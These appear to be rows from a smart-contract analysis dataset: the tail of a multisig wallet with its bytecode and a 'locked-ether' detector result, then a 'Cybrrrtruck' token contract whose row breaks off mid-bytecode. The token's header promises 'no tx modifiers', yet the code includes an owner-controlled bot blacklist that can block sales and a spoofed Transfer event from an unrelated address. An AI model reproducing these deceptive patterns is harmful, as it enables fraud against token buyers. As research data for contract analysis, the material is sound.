{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611fe8565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190612014565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4612040565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612054565b611251612054565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa612040565b6113b2612040565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e6c565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e6057600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611ddd8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd35780601f10611da857610100808354040283529160200191611dd3565b820191906000526020600020905b815481529060010190602001808311611db657829003601f168201915b5050505050611fc0565b15611e1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e9557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f54929190612068565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161200f5781836000526020600020918201910161200e91906120e8565b5b505050565b81548183558181151161203b5781836000526020600020918201910161203a91906120e8565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120a957805160ff19168380011785556120d7565b828001600101855582156120d7579182015b828111156120d65782518255916020019190600101906120bb565b5b5090506120e491906120e8565b5090565b61210a91905b808211156121065760008160009055506001016120ee565b5090565b905600a165627a7a72305820298f6875f876c391579285c74ca96cbd54b3b1f97c0befbda664888215ce30e60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,106 |
0xf1d42d913ce0f91e31b4feb612bec002d80711a1 | /*
tg: https://t.me/Cybrrrtruckerc20
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Cybrrrtruck is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Cybrrrtruck | https://t.me/Cybrrrtruckerc20";
string private constant _symbol = "Cybrrrtruck";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe42bf1cd0156B05F0d48c4c43a5aD76A785DBa92);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
_feeAddr1 = 5;
_feeAddr2 = 10;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = 15;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061298b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612505565b61040d565b60405161016d9190612970565b60405180910390f35b34801561018257600080fd5b5061018b61042b565b6040516101989190612aed565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906124b2565b61043f565b6040516101d59190612970565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612418565b610518565b005b34801561021357600080fd5b5061021c610608565b6040516102299190612b62565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061258e565b610611565b005b34801561026757600080fd5b506102706106c3565b005b34801561027e57600080fd5b5061029960048036038101906102949190612418565b610735565b6040516102a69190612aed565b60405180910390f35b3480156102bb57600080fd5b506102c4610786565b005b3480156102d257600080fd5b506102db6108d9565b6040516102e891906128a2565b60405180910390f35b3480156102fd57600080fd5b50610306610902565b604051610313919061298b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612505565b61093f565b6040516103509190612970565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612545565b61095d565b005b34801561038e57600080fd5b50610397610a87565b005b3480156103a557600080fd5b506103ae610b01565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612472565b611063565b6040516103e49190612aed565b60405180910390f35b60606040518060600160405280602b8152602001613217602b9139905090565b600061042161041a6110ea565b84846110f2565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061044c8484846112bd565b61050d846104586110ea565b6105088560405180606001604052806028815260200161324260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104be6110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118779092919063ffffffff16565b6110f2565b600190509392505050565b6105206110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490612a4d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106196110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d90612a4d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107046110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072457600080fd5b6000479050610732816118db565b50565b600061077f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611947565b9050919050565b61078e6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081290612a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f437962727272747275636b000000000000000000000000000000000000000000815250905090565b600061095361094c6110ea565b84846112bd565b6001905092915050565b6109656110ea565b73ffffffffffffffffffffffffffff